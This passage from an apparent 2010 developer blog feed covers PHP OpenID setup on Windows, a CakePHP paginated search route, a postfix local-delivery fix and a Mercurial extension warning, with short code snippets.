&lt;h2&gt;Generating randomness&lt;/h2&gt;
&lt;p&gt;The second fix was to change the &lt;code&gt;Auth_OpenID_RAND_SOURCE&lt;/code&gt; constant to &lt;code&gt;null&lt;/code&gt;.
This constant enable the library to generate randomness (AFAIK), by using the
&lt;code&gt;/dev/urandom&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This does not exists on Windows, so I added the following lines in my
&lt;code&gt;bootstrap.php&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Folder::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;isWindowsPath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    define&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Auth_OpenID_RAND_SOURCE&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Connecting to SSL servers&lt;/h2&gt;
&lt;p&gt;The PHP bundle on Windows comes with &lt;code&gt;cURL&lt;/code&gt; already builtin, but without the
bundle of the X.509 certificates of public CA. It means that the OpenId PHP
library will refuse to connect to any CA using an SSL connection because it
won&#39;t be able to check the certificate.&lt;/p&gt;
&lt;p&gt;This does not happens on Linux, the list is correctly built in.&lt;/p&gt;
&lt;p&gt;Fortunatly, we can pass a &lt;code&gt;CURLOPT_CAINFO&lt;/code&gt; option to &lt;code&gt;cURL&lt;/code&gt; to manually set a
pre-defined bundle, and there already is one shipped with the PHP OpenId
library.&lt;/p&gt;
&lt;p&gt;All you have to do is add the following line on line 93 of the
&lt;code&gt;vendors/Auth/Yadis/ParanoidHTTPFetcher.php&lt;/code&gt; file:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;curl_setopt&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$c&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;CURLOPT_CAINFO&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;str_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/../OpenID/ca-bundle.crt&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Paginated search results and custom url</title>
    <link href="https://blog.pixelastic.com/2010/05/19/paginated-search-results-and-custom-url/"/>
    <updated>2010-05-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/19/paginated-search-results-and-custom-url</id>
    <content type="html">&lt;p&gt;I wanted for this blog a search feature, but I had some prerequisites for it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The search url could be bookmarked&lt;/li&gt;
&lt;li&gt;It should be paginated&lt;/li&gt;
&lt;li&gt;It should play well with my custom url starting with /blog&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Defining custom urls&lt;/h2&gt;
&lt;p&gt;Here are the two routes I defined in my routes.php&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Router::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/blog/search/:keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;controller&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;posts&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;action&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;search&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;pass&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;[^/]+&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Router::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/blog/search/*&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;controller&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;posts&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;action&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;search&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Going to &lt;code&gt;/blog/search/*keyword*&lt;/code&gt; will start a search on the keyword, while
going to &lt;code&gt;/blog/search/&lt;/code&gt; would display a search form.&lt;/p&gt;
&lt;h2&gt;Writing the method&lt;/h2&gt;
&lt;p&gt;I started by creating a &lt;code&gt;search&lt;/code&gt; action in my &lt;code&gt;PostController&lt;/code&gt;, then creating a
form submitting to this action, with a &lt;code&gt;keyword&lt;/code&gt; input field.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;search&lt;/code&gt; method, the first thing I do is checking if some POST data is
submitted (coming from the search form). If so, I redirect to the same page, but
passing the &lt;code&gt;keyword&lt;/code&gt; as first parameter.&lt;/p&gt;
&lt;p&gt;If no &lt;code&gt;keyword&lt;/code&gt; is passed nor data submitted, I&#39;ll display a simple search form.&lt;/p&gt;
&lt;p&gt;And finally if a &lt;code&gt;keyword&lt;/code&gt; is specified, I&#39;ll do a paginated search on every
posts whose &lt;code&gt;name&lt;/code&gt; or &lt;code&gt;text&lt;/code&gt; contains the &lt;code&gt;keyword&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; search&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We redirect to get it in GET mode&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;redirect&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; urlencode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Post&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Search index&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$keyword&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;search_index&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Adding conditions to name and text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $keyword&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; urldecode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$keyword&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;paginate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Set::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;paginate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &#39;conditions&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AND&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;          &#39;OR&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;Post.name LIKE&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$keyword&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;            &#39;Post.text LIKE&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$keyword&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;%&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;          )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Getting paginated result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $itemList&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;paginate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;keyword&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $keyword&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &#39;itemList&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $itemList&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Unable to send mail to same server</title>
    <link href="https://blog.pixelastic.com/2010/05/15/unable-to-send-mail-to-same-server/"/>
    <updated>2010-05-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/15/unable-to-send-mail-to-same-server</id>
    <content type="html">&lt;p&gt;I just realized that one of my domains was sending mails (in PHP), but I never
actually received them.&lt;/p&gt;
&lt;p&gt;I first tested the mail adress, sending mails from a personal adress. I then
tested the &lt;code&gt;mail()&lt;/code&gt; php function, sending mail to a personal adress. But all
that was working fine.&lt;/p&gt;
&lt;p&gt;But sending mails in PHP on www.server.com to name@server.com did nothing. No
mail, no error.&lt;/p&gt;
&lt;h2&gt;Damn you Gmail&lt;/h2&gt;
&lt;p&gt;After some digging it appears that local mails (to addresses on the same server)
were using some sort of special local delivery.&lt;/p&gt;
&lt;p&gt;I recently moved the whole mail handling stuff from this server to Google Apps,
but I forgot to remove/edit the postfix configuration file so the local delivery
routine was still up and local mails where internally routed.&lt;/p&gt;
&lt;p&gt;So, I just had to edit the &lt;code&gt;/etc/postfix/main.cf&lt;/code&gt; file, find the &lt;code&gt;mydestination&lt;/code&gt;
line and remove any reference to my server here.&lt;/p&gt;
&lt;p&gt;Then, just restart postfix by doing a&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;postfix&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; restart&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;It still doesn&#39;t work&lt;/h2&gt;
&lt;p&gt;In my case, it still didn&#39;t change anything... That&#39;s when I understood that
postfix was using a &lt;code&gt;vmail&lt;/code&gt; mysql database to check for existing domains.&lt;/p&gt;
&lt;p&gt;I renamed the &lt;code&gt;domain&lt;/code&gt; field value in the &lt;code&gt;domains&lt;/code&gt; table, and I can now
correctly receive mails.&lt;/p&gt;
&lt;h2&gt;But, I have lost a lot of mails!&lt;/h2&gt;
&lt;p&gt;No you don&#39;t, as they are routed by the local delivery system, they should be
somewhere on your hard drive. In my case it was in the &lt;code&gt;/home/mailusers/&lt;/code&gt;
directory&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>&quot;failed to import extension hgext.imerge&quot; warning on Dreamhost</title>
    <link href="https://blog.pixelastic.com/2010/05/14/failed-to-import-extension-hgext-imerge-warning-on-dreamhost/"/>
    <updated>2010-05-14T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/14/failed-to-import-extension-hgext-imerge-warning-on-dreamhost</id>
    <content type="html">&lt;p&gt;Trying to push some new code to a Hg repository on my Dreamhost account, I had
the following error message:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;remote:&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; ***&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; failed&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; to&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; import&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; extension&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; hgext.imerge:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; No&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; module&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; named&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; imerge&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used to have the same kind of issues with an other extensions, &lt;code&gt;hgext/hbisect&lt;/code&gt;
a while ago and I fixed it by forcing Hg to not use this extension.&lt;/p&gt;
&lt;p&gt;Here&#39;s how:&lt;/p&gt;
&lt;p&gt;Edit your &lt;code&gt;.hgrc&lt;/code&gt; file and under the &lt;code&gt;[extensions]&lt;/code&gt; category, add
&lt;code&gt;hgext.imerge=!&lt;/code&gt;, like this&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[extensions]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;hgext/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;hbisect&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = !&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;hgext.imerge&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;=!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should stop the warning.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Tabindexing and inserting tabs with tinyMCE</title>
